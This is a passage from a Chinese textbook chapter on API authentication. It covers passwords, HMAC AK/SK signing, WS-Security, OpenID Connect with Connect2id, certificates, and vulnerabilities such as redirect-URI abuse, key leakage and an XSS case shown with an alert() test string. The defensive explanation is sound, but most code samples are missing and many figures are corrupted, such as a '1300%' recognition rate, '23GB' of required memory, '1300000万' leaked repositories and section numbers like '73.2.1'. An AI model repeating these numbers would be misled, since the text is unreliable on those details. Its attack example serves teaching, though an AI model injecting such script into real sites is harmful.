地讲述了这两个场景下的安全设计框架,为后续各个章节的技术细节导 入做铺垫。 第7章 API身份认证 在整个安全技术体系中,对用户身份的认同和信任是构建整个计算 机网络的基础,身份认证技术作为一道重要的防线,有着不同寻常的意 义。在现实生活中,需要进行身份认证的场景有很多。比如,去超市购 物,打折结算时验证超市会员身份,需要客户提供会员卡;出门旅行乘 坐高铁,购票时需要身份证来验证身份,进站也同样需要;甚至跟朋友 去看一场电影,进场时现场服务人员通过验证电影票来确定场次、座位 等。这些都是日常生活中身份认证的例子,在API技术的世界中,需要 进行身份认证的场景也同样存在。 7.1 身份认证的基本概念 身份认证技术是随着计算机网络的发展而出现的,企业或组织使用 身份认证技术来确认用户身份,以确保它们知道正在使用自己服务的客 户是谁,以此来确保用户使用数据的合法性和安全性。近些年,随着网 络安全和数据安全的立法,对于可验证、可信任身份的需求也在增加, 这对企业或组织提出了更高的合规性要求。那么到底什么是身份认证 呢? 顾名思义身份认证,是对于身份的认证或鉴别,在业务流程中结合 技术手段,完成对某种身份的确认。这里的某种身份可能是基于真实的 自然人信息的用户身份,也可能是服务器、硬件设备、移动终端的身 份,还有可能是运行的应用程序或服务的身份。在计算机领域,身份认 证的方式有很多,比较常见的有静态密码、动态口令、短信码、数字证 书、生物特征等。 ■ 静态密码:此种方式最为常见,比如各个互联网应用所使用的用 户注册后的密码登录场景,即通过用户名+密码组合的方式来确认用户 的身份。 ■ 动态口令:又称为软令牌,是指通过客户端应用随机生成一个组 动态口令作为用户身份鉴别的依据。通常在后端依赖时间同步和令牌生 成算法的一致性来保障动态口令的校验。 ■ 短信码:在互联网应用中尤为常见,尤其是实施网络实名制之 后,很多互联网应用默认使用手机号和短信码的组合来验证用户身份。 ■ 数字证书:主要利用密码学中公钥和私钥的密钥对,通过数字签 名和加密通信服务保障和验证用户身份。 ■ 生物特征:此类身份认证目前业界正大范围使用,最常见的如人 脸识别、指纹识别、虹膜识别等。使用生物特征技术进行身份认证的场 景下,如何做好个人信息的隐私保护是一项具有挑战性的工作。 7.1.1 身份认证在API安全中的作用 身份认证技术在API安全中的使用场景也是比比皆是,但在相当长 的一段时间内,不少企业缺少正确使用API身份认证的安全意识,导致 安全事件频发。企业使用身份认证技术来确认用户身份,保障其使用数 据的合法性和安全性。在API方面,也需要使用身份认证技术,保障 API使用的合法性和安全性。正确使用API身份认证技术,能够解决很 多基础的安全问题。 从技术角度来说,通过身份认证识别身份后的用户才能访问某个 API接口、数据和资源,并且访问控制程序依赖于识别身份后的用户信 息,提供权限的校验和控制。这对API自身的保护和API接口数据的保 护尤为重要。同时,接口调用过程中记录的审计日志也依赖识别身份后 的用户信息,记录和统计用户请求与行为。身份认证技术就像是API安 全的第一道门禁,守护着API安全的大门,保护企业和信息资产被合法 地访问和使用。如果一个API服务缺失身份认证技术或身份认证机制被 攻破,那么针对用户请求所做的访问控制、审计日志也就失去了意义, 形同虚设。 从管理角度来说,当前的网络环境下,面对越来越猖獗的网络安全 犯罪,在法律合规、安全监管的高压态势下,保护API自身和API接口 数据的安全也是企业服务中必不可少的一项工作内容,如果因身份认证 技术这类的基础安全防护没有做好导致安全事件甚至社会事件的发生, 是任何一家企业或组织都不希望看到的。 7.1.2 身份认证技术包含的要素 身份认证技术作为安全领域一项基本的技术,提供用户身份的合法 性验证,主要通过以下几个要素来作为确认用户身份的方式。 1.What you know What you know的含义即“你知道什么”,基于被认证方知道的特定 信息来验证身份,最常见的基于密码、暗语进行的身份认证即属于此 类,这也是最古老的身份认证方式。在影视作品《龙门飞甲》中有这样 的桥段:陈坤饰演的西厂督主雨化田为了让下属鉴别和自己长相相似的 大盗风里刀,给了一段密语作为接头暗号“龙门飞甲,便知真假”。殊不 知此暗号被李连杰饰演的赵怀安破解,反为所累,结果西厂内部自相残 杀。 这种身份认证方式最为古老也最为常见,通过上面的例子读者也能 看出其安全性很弱,很容易被破解。针对这种认证方式,采用密码字 典,使用自动化工具进行暴力破解是最为常见的,这也是很多互联网应 用中需要设置密码长度和密码复杂度等安全策略的原因,比如密码长度 不得低于8位,至少包含大小写、数字、特殊字符,连续尝试5次密码验 证失败锁定用户等。 2.What you have What you have的含义是“你拥有什么”,基于被认证方所拥有的特定 物件来验证身份,最常见的利用数字证书、令牌卡进行身份认证就是属 于此类认证方式。在移动端应用还没有发展起来时,很多人如果去银行 办理电子银行业务都会拿到一个U盾,U盾又称为USBKey,其中存放着 用于用户身份识别的数字证书,它采用高强度信息加密,数字认证和数 字签名技术具有不可复制性,可以有效防范支付风险,确保客户网上支 付资金安全。后来随着移动互联网的兴起,考虑到使用的便捷性,U盾 逐渐被手机短信动态口令取代。 3.What you are What you are的含义是“你是谁”,基于被认证方所拥有的生物特征 来验证身份,最常见的人脸识别、指纹解锁、语音打卡等业务场景就是 使用此类认证方式,这类认证方式的兴起源于人工智能技术的发展。理 论上来说,具备个人生物特征的身份认证标志具有不可仿冒性、唯一 性。比如人脸、虹膜、声纹,这些对每一个人体来说都是唯一的,同 时,生物特征识别在技术处理上有着它的复杂性,直到今天为止,想在 某个生物特征上做到1300% 的识别率仍然是很难的。生物特征的鉴别大 多是活体检测,要考虑不同的周边使用环境、人的情绪、检测距离的远 近等外部因素,这些因素都具有不确定性。 7.2 常见的身份认证技术 API技术的发展过程中,身份认证技术作为一项基础技术一直参与 其中,并且随着不同的API技术的发展,也产生了专门只在API领域使 用的身份认证技术。典型的如OpenID Connect、WS-Security、JWT等, 本书将在接下来的章节中详细为读者介绍各种不同的身份认证技术。 7.2.1 基于HTTP Basic基本认证 HTTP Basic基本认证是一种比较简单的API身份认证方式,是从动 态网页技术中迁移过来的,目前只有少量历史遗留应用仍在使用,这里 仅做简要介绍,让读者了解其认证基本工作原理。 HTTP Basic基本认证过程发生在客户端和服务器端之间,和普通的 Web应用通信过程不同,它不依赖于会话标识、Cookie,通常对于认证 凭据传输到服务器端有两种方式:URL字符串和HTTP Authorization标 头,下面分别来看看两个样例。 1.URL字符串形式的凭据传输 在这种形式的传输方式中,认证凭据(比如用户名和密码)拼接 到URL中,作为URL的一个组成部分发送到服务器端。使用此认证方式 的API中RESTful API居多。典型的格式如下所示: 此种形式下数据传输的认证凭据是明文,安全性较差,通常需要 依赖于HTTPS协议。 2.HTTP Authorization标头形式的凭据传输 客户端通过在请求报文中添加HTTP Authorization标头形式,向服 务器端发送认证凭据。HTTP Authorization标头的构建通常分为以下两 个步骤。 1)将“用户名:密码”的组合字符串进行Base编码。 2)将Authorization:Basic base64(用户名:密码)作为HTTP header 的一个字段发送给服务器端。 以用户名和密码的值分别为username、password为例,这种形式下 客户端请求报文格式如下: 在数据传输前,虽然针对认证凭据使用了Base64编码,但安全性仍 然较差,这是使用时需要注意的。如果传输的凭据是APPID和 APIKEY,则会和密码一样存在被泄露的风险。 7.2.2 基于API KEY签名认证 以API KEY签名认证作为身份认证技术的具体实现在API使用中出 现较早,通常被称为HMAC认证。到目前为止有很多互联网应用在使 用,这其中也包含国内头部互联网企业级应用。在API KEY签名认证 中,API的接口调用是融入API的生命周期中去管理,任何客户端想调 用API接口,都需要开发者先从API管理平台中申请接入密钥 AccessKey(简称AK)和加密密钥SecretKey(简称SK),然后在发起 客户端API请求时,将参数和AccessKey一起,使用SecretKey签名后发 送到服务器端。其工作原理如图7-1所示。 ●图7-1 API KEY签名认证流程 1)API开发者首先提供注册资料,API管理者通过API管理平台申 请注册。 2)API管理者审核注册资料,如果审核通过,下发API调用所需要 的AccessKey和SecretKey。 3)API客户端在拿到AccessKey和SecretKey后,将请求参数与 AccessKey一起,使用SecretKey进行签名。 4)API客户端将请求参数和签名后的字符串一起发送API服务器 端,进行身份认证。 5)API服务器端接到请求后,解析请求参数,并采用与客户端相同 的签名算法生成新的签名,并将新的签名与接收到的客户端签名进行校 验。 6)API服务器端根据签名校验和AccessKey校验结果,返回身份认 证信息。 使用API KEY签名认证的好处是在API客户端和服务器端使用了相 同的签名算法,若传输过程中数据被篡改,则签名校验无法通过,有效 地解决了请求参数被篡改的安全隐患。在此基础上,API KEY签名认证 也产生了多个变种,比如添加时间戳和唯一随机数来防止重放攻击,将 请求参数和签名摘要一起加密再发送到服务器端。此类身份认证方式的 变种版本在技术上可以看作是OAuth协议的简化版,目前在很多企业级 的API开放平台中AK/SK认证方式被广泛使用,需要读者深入理解并掌 握。 7.2.3 基于SOAP消息头认证 使用消息头作为身份认证技术在以XML为数据传输格式的API接口 中较为常见,典型的如SOAP API中的Web Services服务安全规范WS- Security。 在WS-Security安全规范中,详细地描述了如何将签名和加密头加入 SOAP消息,以及在消息中加入安全令牌、X.509认证证书或Kerberos票 据等,通过在应用层处理消息头信息,以保证端到端的API安全。其消 息语法格式如下所示: WS-Security针对用户身份的验证方式主要有用户名/密码、通过 X.509证书、Kerberos。这里就用户名/密码身份认证方式向读者做简要 介绍,以说明消息头认证的基本工作原理。 以用户名/密码作为认证方式的SOAP消息比较简单,通常在 Security节点中添加认证凭据节点,UsernameToken节点内容如下代码 片段所示: 这种以明文节点进行数据传输的方式,其安全性较差,容易遭受攻 击,更安全的做法是添加一次性令牌、有效期,并对密码进行加密传 输。 与此方法类似的,在某些用户自定义的认证方式中,在通信协议的 业务节点中添加认证节点,来保证API接口身份认证的有效性。比如笔 者所经历的某业务支付详情查询,其SOAP API接口规范定义极为简 单,整个SOAP消息中请求和响应都只有一个参数,如下代码片段所 示: 因为此API平台需要对接不同的开发商或平台,所以只能在API规 范上进行统一的抽象定义,实际上每一个API调用中的“输入参数”和“响 应报文”都是XML格式,其中包含多个节点,由各个平台方去自由拓 展。这些自由拓展的节点中,自然也包含自定义的身份认证节点。如下 代码片段所示输入参数arg0的值: 其中password和一次性token的值均是使用SHA1加密后再使用 Base64编码的结果,这也是用户自定义API身份认证中常见的使用方 式。在WS-Security中,使用X.509证书作为认证方式也经常被使用,但 其与其他的认证方式并没有多大差异,仅仅是凭据传输的节点不同。比 如前文的用户名/密码作为认证方式中提及的UsernameToken节点,将被 BinarySecurityToken节点取代,其语法格式如下代码片段所示: 上段代码中加密部分内容即为X.509证书,在实际使用中,除了有 BinarySecurityToken节点外,还会有签名节点、加密算法节点等。 通过WS-Security中用户名/密码身份认证方式的介绍可以看出,基 于消息头的身份认证与基于HTTP Basic基本认证的区别在于HTTP Basic 基本认证是把凭据信息放在HTTP Header中传送到服务器端进行校验, 而基于消息头的身份认证是把凭据信息放在需要传送消息体的头部信息 中。两种身份认证方式的差异,更多的是凭据信息的位置不同,认证流 程基本类似。 7.2.4 基于Token系列认证 使用Token作为身份认证技术在API接口中最为常见,尤其是随着 API技术的兴起,涌现出一系列与Token相关的协议,其中以OAuth、 OpenID Connect、JWT(JSON Web Token)等技术为代表,并逐渐 成为潮流。在这些协议中,API身份认证以OpenID Connect为代表,下 面就为读者详细介绍OpenID Connect中涉及身份认证相关的技术。 1.OpenID Connect相关概念 OpenID Connect是基于OAuth 2.0规范拓展而来的身份认证协议,它 允许客户端使用简单的REST/JSON数据格式来实现流程交互,联合授权 服务器完成身份认证来确认最终用户身份。它允许所有的客户端类型, 包括基于浏览器的JavaScript、移动应用、IoT设备等,触发登录流程和 接收用户身份认证的结果。它在OAuth 2.0规范的基础上拓展身份认证 层,既有利于技术系统的统一,又为API的基础安全防护提供了可操作 性。 为了兼容OAuth基础架构,OpenID Connect在OAuth的基础上添加 了两个关键组件,ID令牌(ID Token)和用户信息端点(UserInfo Endpoint),来满足身份认证需求。为了更好地说明身份认证流程, 先通过OpenID Connect的核心文档来熟悉一下与流程相关的几个关键概 念。 (1)基本术语 ■ EU:终端用户(End User),通常是指一个自然人用户,比如当 使用某个App实时定位功能时,App会通过API调用远程服务定位使用者 当前在地图上的位置,在这个过程中,使用者就是这里所描述的终端用 户。 ■ RP:应答方(Relying Party),通常是指身份认证信息的消费 者。比如当操作App时,App调用API获取到的认证信息将被App使用, 那么这里的App则是应答方。在无特殊说明的情况下,通常应答方主要 是指API调用的客户端应用程序。 ■ OP:OpenID认证服务提供者(OpenID Provider),当客户端发 送认证请求时的被请求方,通常也是提供EU认证服务的一方,即为 OP。OP为RP提供终端用户的身份认证信息,告诉RP身份认证信息的具 体内容。比如在传统的Web安全中,Cookie是认证信息,那么对应到这 里,OP给RP提供Cookie信息。 ■ ID Token:ID令牌,是OpenID Connect在OAuth协议基础拓展出 来的组件,通常是包含终端用户身份认证信息的JWT格式的数据。 ■ UserInfo Endpoint:用户信息端点,只有当RP使用访问令牌 Access Token请求时,OP才会返回授权实体用户的身份信息。这里的用 户身份信息不同于身份认证信息,是指自然人信息,比如用户的姓名、 年龄、性别等。 (2)工作流程 在OpenID Connect的核心文档中,对身份认证的工作流程有简要的 描述,如图7-2所示。 ●图7-2 OpenID Connect官方核心流程 在上图7-2中,交互流程主要发生RP、OP、EU之间。 1)RP(API客户端)将请求发送到OpenID服务提供方(OP)。 2)OP验证用户信息并获得授权。 3)OP返回ID令牌给RP。 4)RP将带有访问令牌的请求发送到用户信息端点。 5)用户信息端点返回实体用户信息。 (3)ID令牌 上文中提及ID令牌是一个JWT格式的数据结构(JWT技术详细介 绍请参见第9章),典型的ID令牌数据结构样例如下所示: ID令牌的主要字段在JWT的RFC 7519规范中给出了官方的描述,详 细如下。 ■ iss=Issuer Identifier:必需字段,提供认证信息者的唯一标识,一 般是URL(不包含参数部分)。 ■ sub=Subject Identifier:必需字段,iss提供的在iss范围内唯一的 EU标识,被RP用来标识唯一的用户,此字段值区分大小写。 ■ aud=Audience(s):必需字段,标识ID令牌消费方,必须包含 OAuth2的client_id。 ■ nonce:RP发送请求时提供的随机字符串,用来减缓重放攻击, 也可以来关联ID Token和RP本身的Session信息。 ■ exp = Expiration time:必需字段,过期时间,超过此时间的ID Token将被作废,且验证无法通过。 ■ iat=Issued At Time:必需字段,JWT的创建时间。 ■ auth_time =AuthenticationTime:EU完成认证的时间,如果RP发 送AuthN请求时携带max_age参数,则Claim是必需的。 ■ acr =Authentication Context Class Reference:可选字段,表示认证 的上下文引用值,用来标识认证上下文。 ■ amr=Authentication Methods References:可选字段,表示一组认 证方法。 ■ azp = Authorized party:可选字段,结合aud使用,只有在被认证 的一方和受众(aud)不一致时才使用此值,一般情况下很少使用。 除了以上字段外,ID Token通常还会包含其他属性内容。比如终端 用户的用户名、头像、生日等资料。所以,ID Token在传输前建议使用 JWS签名和JWE加密来保证身份认证的完整性、不可否认性以及保密性 (JWS签名和JWE加密的相关技术细节将在第9章为读者做详细介 绍)。 (4)用户信息端点 用户信息端点是受到保护的基础信息,通常在RP认证通过后获得 Access Token,再通过Access Token请求用户信息端点来获取用户信 息,其请求消息格式如下: 成功响应后,会返回用户信息的内容,如下所示: 2.OpenID Connect身份认证方式 OpenID Connect身份认证方式是由OAuth2的授权方式延伸而来的, 其支持的API认证包含通常所指的用户身份认证和客户端身份认证。下 面先来了解一下身份认证的相关流程。 根据OAuth2授权许可方式的不同,认证模式主要有以下3种。 ■ 授权码方式(Authentication Code Flow):使用OAuth2的授权 码流程来获得ID Token和Access Token。 ■ 简化授权码方式(Implicit Flow):使用OAuth2的简化授权码流 程获取ID Token和Access Token。 ■ 混合流方式(Hybrid Flow):前两种方式的混合使用。 在认证模式上,OpenID Connect与OAuth类似(OAuth协议更多细 节请读者阅读下一章),不同的是OpenID Connect依赖新增的组件ID 令牌和用户信息端点联结后端的身份认证基础组件,完成身份认证的 功能。比如后端身份认证基础组件轻型目录访问协议(Lightweight Directory Access Protocol,LDAP)、活动目录(Active Directory, AD)、数据库、一次性密码(One Time Password,OTP)、安全断言 标记语言(Security Assertion Markup Language,SAML)等。 业界有很多围绕OpenID Connect的具体产品实现,在OpenID Connect的官方网站列举了很多开源或商业产品,下面以开源产品 Connect2id为例,带领读者一起了解OpenID Connect身份认证的详细过 程。 (1)Connect2id安装 Connect2id是企业级的身份认证与授权管理平台,满足OAuth2协 议和OpenID Connect协议要求的具体实现,支持普通Web网页、JS客 户端、移动端应用、桌面应用程序的API集成、身份认证以及授权管 理。 Connect2id的快速安装非常简单,从官方网址下载后即可以使用, 其安装步骤如下。 1)安装环境准备。Connect2id是Java语言编写的应用程序,故在其 安装的机器上需要先安装JDK,这里使用的Connect2id 9.5.1版本的环境 要求:内存至少23GB以上,JDK 11版本以上。默认前提下,认为读者 已正确安装JDK。JDK的安装方法可以查阅JDK相关配置文档。 2)下载Connect2id 9.5.1安装包后,解压安装包进入解压目录下的 相对路径connect2id-server-[version]/tomcat/bin/,执行catalina.bat start或 startup.bat,启动Connect2id的所有服务,如图7-3所示。 ●图7-3 启动Connect2id Server服务 3)访问http://127.0.0.1:8080/c2id,即显示Server对外提供的各个接 口,如图7-4所示。 ●图7-4 Connect2id Server提供的OpenID Connect接口列表 第一次使用Connect2id的读者,可以多花点时间仔细阅读页面上的 链接内容,以加深对Connect2id Server工作原理的了解。 4)访问http://127.0.0.1:8080/oidc-client,即显示客户端相关的配 置,如图73-5所示为客户端接入的OP配置。 ●图7-5 Connect2id Server提供的OpenID Connect客户端接入配置信息 此页面涉及客户端认证相关的三类配置:客户端接入OP配置、客 户端注册信息配置、终端用户认证配置。对于页面中各个API接口,尤 其是客户端相关配置,需要读者通过页面操作加深对各个配置项的理 解。如果不想自己安装,在Connect2id的官网上也提供了在线演示 demo,读者可以访问https://demo.c2id.com/c2id/来了解Connect2id Server 服务器端的信息,访问https://demo.c2id.com/oidc-client/来了解客户端的 信息。接下来,将结合Connect2id的使用,为读者讲述OpenID Connect 的认证方式。 (2)授权码方式身份认证 授权码方式使用OAuth2协议的Authorization-Code方式来完成用户 身份认证,适用于需要用户参与的身份认证场景。典型的使用案例如各 个互联网应用中,使用QQ登录、微信登录、微博登录之类的场景。此 认证方式需要终端用户EU参与,且所有Token是通过OP的Token EndPoint获取的,其工作流程使用Connect2id的端点表示,如图7-6所 示。 ●图7-6 Connect2id OpenID Connect授权码认证流程 1)RP携带client_id,向OP发起认证请求。比如这里请求Connect2id Server的地址为http://127.0.0.1:8080/c2id-login,此时请求参数格式如 下: 在OpenID进行身份验证时,至少要使用的请求参数信息如下。 ■ response_type:对于使用授权码方式的客户端值设置为code,读 者也可查看图7-5的终端用户认证配置中的下拉选项值是否为code。 ■ client_id:通常在客户端注册时获得,与API KEY签名认证中的 APPID类似,这里的值为000123。 ■ redirect_uri:是将身份认证通过后的响应发送到的重定向URI, 它必须与客户端已注册重定向URI完全匹配。如果此处不是完全匹配, 则可能会有类似于33.1节中Facebook OAuth绕过的漏洞。这里为客户端 注册信息中配置的redirect_uri值。 ■ scope:是用空格分隔的请求范围值列表,必须至少包含该 openid值。在这里,终端用户认证配置中配置的值openid和email。 ■ state:随机字符串,用于维持请求和回调之间的状态,不是必选 项,但强烈建议使用此参数。 至于nonce、display、prompt、login、authSessionId等可选参数,主 要用用户会话保持、防重放攻击、客户端重新认证以及EU身份认证时 的页面展现形式,建议设计时使用这些参数,增加流程的安全性。 2)OP接收到认证请求之后,对请求参数进行校验,校验通过后进 入EU身份认证引导页面,在认证页面上,输入认证信息确认用户身 份。此处使用的用户名和密码认证的页面如图7-7所示。 ●图7-7 Connect2id OpenID Connect授权码流程身份认证信息录入页面 3)身份认证确认后,页面将跳转回调地址并传递授权码和state, 此时应答跳转的请求参数格式如下: 在这一步,至少要使用的请求参数信息如下。 ■ code:身份认证通过后返回的授权码。 ■ state:上一步操作携带的参数,继续传递给下一步操作使用。 在Connect2id演示环境中,通过终端用户认证配置中的测试连接进 行身份认证,认证通过则返回跳转链接显示后续操作所需要的各种信 息,这一点与常规OpenID身份验证不同,读者练习时需要注意,如图7- 8页面所示。 ●图7-8 Connect2id授权认证参数值 4)RP携带code值,请求Token端点,比如这里请求Connect2id Server的API接口地址为http://127.0.0.1:8080/c2id/token。通过调用此接 口,获取ID令牌值。 5)Token端点接受请求并处理,返回应答消息。比如此处接口 /c2id/token的应答消息格式为: 这里ID令牌是JWT格式的加密数据,在接下来的授权校验流程中, 将以JWT格式的令牌数据为基础,这会在后续的章节中为读者做更详细 的介绍。 6)RP请求用户信息端点,获取更多的用户信息。比如此处请求 Connect2id Server的API接口地址为http://127.0.0.1:8080/c2id/userInfo。 7)用户信息端点反馈用户信息给RP,如Connect2id演示样例中的 UserInfo值比较简单,如图7-9所示。 ●图7-9 Connect2id演示样例中UserInfo值 其中,sub值为UserInfo结构的必需字段,至此授权码方式的身份认 证步骤全部完成,通过上述逐步分析的过程,读者可以看到,授权码方 式具有如下特点。 ■ 需要EU参与并且需要提供认证登录页面,不适用于后端、无用户 参与交互的API做身份认证。 ■ 针对认证页面的跳转,需要提供不同的参数传递方式,比如URL 重定向的GET方式、以form表单的POST提交方式。 简化授权码方式是授权码方式的简化版,与授权码方式的差异在于 第13)步和第33)步,第1步时,response_type的值为id_token,第3) 步时返回JWT格式的ID令牌。相比授权码方式,流程更为简洁;而混合 流方式为简化授权码方式与授权码方式的叠加组合,这里就不再做过多 阐述。 (3)客户端身份认证凭据发送方式 OpenID Connect协议规范中对于客户端身份认证凭据的发送方式也 做了规范性定义,可使用以下三种认证方式的其中一种。 ■ client_secret_basic:客户端发送client_secret值到授权服务器,使 用基于HTTP Basic基础认证,与本章73.2.1节中的第二种认证方式类 似,客户端发送请求时,认证信息被放入HTTP授权头中向服务器发 送。 ■ client_secret_post:客户端采用POST方式发送client_secret值到授 权服务器,此时的client_secret值为客户端认证凭据。根据认证凭据的不 同,使用基于HTTP Basic基础认证、用户名/密码、证书等认证方式。 ■ client_secret_jwt:此时的客户端认证凭据值为JWT格式的共享密 钥,使用OAuth 2.0协议JWT方式进行客户端身份认证。 7.2.5 基于数字证书认证 在7.2.3节基于消息头认证中,为读者简要地讲述了SOAP消息中如 何使用数字证书进行认证。数字证书一般由CA权威机构颁发,其主要 内容有Issuer(证书颁发机构)、Valid from &Valid to(证书有效 期)、Public Key(公钥)、Subject(证书所有者)、Signature Algorithm(签名算法)、Thumbprint&Thumbprint Algorithm(指纹 以及指纹算法),如图7-10所示。 ●图7-10 数字证书样例 数字证书中所包含的内容,尤其是证书所有者以及证书中包含的私 钥信息可以在API信息交互中用来确认调用者的身份。在一些高安全要 求的场景中,比如网银支付、电子签章、汽车OTA等,通常采用数字证 书来作为API的身份认证。下面以某移动支付接口为例讲述API认证中 数字证书的使用。 在此移动支付场景的API调用过程中,不同用途的数字证书在整个 业务流程中被多次使用到,下面先来了解一下交互流程,如图7-11所 示。 ●图7-11 数字证书认证流程 1)开发者向API管理平台提供注册信息,申请平台注册。 2)API管理平台所有者对注册信息进行审批,以确认开发者注册信 息的真实性和完整性。 3)注册信息审批通过后,开发者获得两个证书:签名证书、验签 证书。 4)开发者使用证书开发API客户端应用程序,当API客户端发起请 求时,开发者使用签名证书中的私钥,对hash后的请求参数进行签名操 作,并将签名信息与请求参数一起提交到API服务器端。签名证书的使 用方式用公式表示为url_parameter_string+sign(SHA- 256(url_parameter_string),签名证书-私钥)。 5)服务器处理请求,返回响应消息。 6)API客户端使用验签证书中的公钥对响应报文中参数的签名信息 做签名验证操作,验签证书的使用方式用公式表示为验签(sign(SHA- 256(url_parameter_string),签名证书-私钥),验签证书-公钥)。验签 通过后处理响应消息。 以上只是基于API认证举的一个例子,在实际应用中,数据证书很 少单独使用于身份认证,除了本例中所列举的签名外,数字证书还用于 通信过程中的敏感数据加密、通信链路的保护等,使用数字证书能有效 地防止中间人劫持、信息篡改、敏感信息泄露、重放攻击等安全风险。 除了上述认证方式外,HTTP Digest摘要认证也是常见的认证方 式,因在API身份认证中主要以OAuth协议为基础的认证流程为主,故 仅在此处提及,感兴趣的读者可以查阅相关资料。 7.3 常见的身份认证漏洞 上一节介绍了常见的API身份认证技术,接下来将结合相关的CVE 漏洞,介绍身份认证技术中常见的漏洞和攻击方式。 7.3.1 针对回调URL的攻击 针对认证流程的攻击是普遍存在且难度不高的攻击方式,导致此类 漏洞的原因是由于服务器端对客户端跳转的URL地址没有做严格的完全 匹配的格式验证,而是采用正则表达式或部分关键路径来进行校验导致 的,第3章中所分析的Facebook OAuth漏洞也是此类漏洞的一种形式。 在GitHub上,Concourse软件6.0版本中的release-notes修复了CVE- 2020-5409、CVE-2018-15798的漏洞,如图7-12所示。 ●图7-12 GitHub上Concourse软件release-notes 此漏洞产生的原因是在Concourse的登录流程中,服务器端信任了 客户端提交的跳转URL。若此URL被攻击者利用,篡改为恶意站点的 URL,则可以获取用户的访问令牌Access Token,从而劫持用户身份。 在上文中分析了授权码模式的认证流程,读者应该清楚流程中第1)步 的请求参数格式中跳转的URL,详细如下: 如果此URL不可信,则身份认证后在第33)步跳转到此URL时携带 的授权码将不可信,而授权码是获取ID令牌、访问令牌Access Token的 凭据,整个用户身份将变得不可信。在这一点上,OpenID Connect和 OAuth是一致的,都存在易被攻击的问题。这就提醒安全设计人员在进 行详细设计时,需要对跳转的URL参数进行严格的校验。至少应满足以 下条件。 ■ 客户端请求时携带的URL必须是客户端注册时的URL,是要在 授权服务器端存在的URL,并通过人工审核。 ■ 服务器端在对URL校验时,严格进行匹配,禁止部分匹配或正 则表达式匹配。 ■ 服务器端校验逻辑中,禁止使用白名单。 7.3.2 针对客户端认证凭据的攻击 在API安全中,客户端认证凭据相当于传统Web应用中的用户名和 密码,一旦客户端凭据泄露或丢失,会导致应用程序客户端的身份不可 信。在针对API的攻击行为中,对于客户端凭据的攻击,尤其是API密 钥泄露的攻击向来是重点。 随着云计算技术的成熟和普及,现在的企业应用在积极地搬到云端 的同时,也通过API集成了不同厂商提供的业务能力。在功能集成的过 程中,通常会调用不同厂商的API,也会在应用程序的代码中使用客户 端身份认证凭据,比如通用的SecretKey、Google云平台的Google API Key、亚马逊云平台的AWS Access Key ID、阿里云的AccessKeySecret 等。这些客户端认证凭据在开发人员使用过程中,往往会因为保管不善 而导致凭据泄露。2019年4月12日搜狐网用户转载的文章称目前有超 1300000万个GitHub仓库泄露了API及加密密钥,可见客户端凭据泄露问 题的严重性,如图7-13所示。 为了规避此类风险,安全设计人员在API设计时,要基于客户端认 证凭据的使用过程去考虑相关的安全性设计。比如不允许将API KEY 硬编码在应用程序的代码中;设置更新周期,定期更新API KEY;对 于使用API KEY进行调用的客户端应用程序进行线上监控和日志审计, 防止API KEY泄露后被滥用等。 ●图7-13 搜狐网用户转载GitHub仓库API密钥泄露情况的文章 安全界的同仁为此做了大量的保护工作,其中阿里云创新性地开发 了AK&账密泄露检测服务,为云上用户提供API KEY泄露检测功能。 从“泄漏前配置检查—泄漏行为检测—黑客异常调用”三个方面完成闭 环防护,为此类问题的解决提供了最佳实践案例。感兴趣的读者可以去 研究一下,其官方描述的关键流程如图7-14所示。 ●图7-14 阿里云官方AK和账密防泄漏最佳实践流程图 7.3.3 基于JSON数据结构的攻击 在API交互过程中,大量地使用了JSON格式作为数据交换的基础形 式,比如ID令牌、访问令牌、刷新令牌等。新的协议形式必然伴随新的 攻击形式,CVE-2020-5497这个漏洞的成因中就属于此类问题。 在MITREid实现的OpenID Connect服务中,OpenID-Connect-Java- Spring-Server的header.tag对于服务器端响应的用户信息端点信息处置不 当,导致了XSS产生。默认情况下,客户端处理用户信息端点的关键代 码如下: 这里的userInfoJson是JSON结构,结构中包含的字段值来源于服务 器端响应。攻击者正是利用此结构,在JSON的字段中注入了恶意脚 本,导致了XSS的产生,其恶意代码如下所示: 当看到<script>alert(xss)</script>这段代码,很多读者也就明白了这 个漏洞产生的原因。而对于XSS的处理,业界有很多成熟的方案,设计 时可以根据实际情况选用。处理XSS时重要的一点是,XSS需要在输出 时处理,而不是在输入时处理。如下所示为ESAPI处理XSS的代码片 段: 7.3.4 针对OpenID Connect授权范围的攻击 在OpenID Connect的授权码流程中,讨论了参数scope表示授权范 围,至少包含openid,通过openid来控制授权的范围。当客户端应用程 序的请求超出此授权范围时,要向授权服务器重新进行认证,根据 prompt参数确定如何响应。漏洞CVE-2019-9837就属于此类问题导致的 影响。 正常情况下,当客户端发送认证请求时,第1)步的请求消息格式 为: 此时,跳转的URL链接、注册的客户端ID与当前的openid profile是 对应的。如果访问的跳转的URL链接不在已注册的URL内,则发出了新 的授权请求。因为这里攻击者指定的prompt参数值为none,会直接被重 定向到redirect_uri指定的链接地址,显示错误信息。 如果这个重定向的redirect_uri是一个恶意站点,则会被用来进行钓 鱼攻击,欺骗用户,盗取身份认证凭据。正确的设计应该是针对这种异 常,跳转的链接地址应从服务器端获取注册时填写的跳转链接,而不应 从客户端请求中直接获取。 虽然这个问题的表现形式与73.3.1节的攻击形式很相似,但它更多 是在OpenID Connect协议中对各个参数的深刻理解上,针对流程和处理 逻辑的攻击行为,需要引起安全设计人员的重视。只有深刻理解了协议 和流程,才能分析可能存在的风险,以在设计中弥补此类缺陷。 除了上述常见问题外,在OpenID Connect协议的核心规范文档 中,也给出了常规的安全建议,从各个层面给出了具体保护措施,举 例如下。 ■ request或request_uri的端到端加密通信。 ■ 使用密钥或加密JWT对服务器端进行身份验证。 ■ 使用短有效期的令牌或一次性令牌。 7.4 业界最佳实践 前文介绍的API身份认证技术在不同的业务场景中可以被单独使 用,而更多的场景下,考虑到业务流程的不同交互,往往融入多种API 身份认证技术,以提高系统的安全性。下面将结合微软Azure和支付宝 第三方应用来进一步讨论API身份认证技术的使用。 7.4.1 案例之微软Azure云API身份认证 Azure云是微软对外提供的公有云服务,其平台面向企业用户和个 人用户提供数据库、云服务、云存储、人工智能互联网、CDN等高效、 稳定、可扩展的云端服务。这些服务大多数都提供API形式的管理方 式,当大量的企业级应用程序部署在云端时,为了保障平台的稳定,如 何使用API管理并将API安全地发布给外部客户、合作伙伴、员工、开 发者,是Azure云在API安全方面需要深入探究的问题。Azure官方网站 向使用者详细地介绍了各种不同的身份认证技术在Azure云中的使用方 式,比如基于OAuth 2.0和OpenID Connect协议、基于SAML 2.0协议、 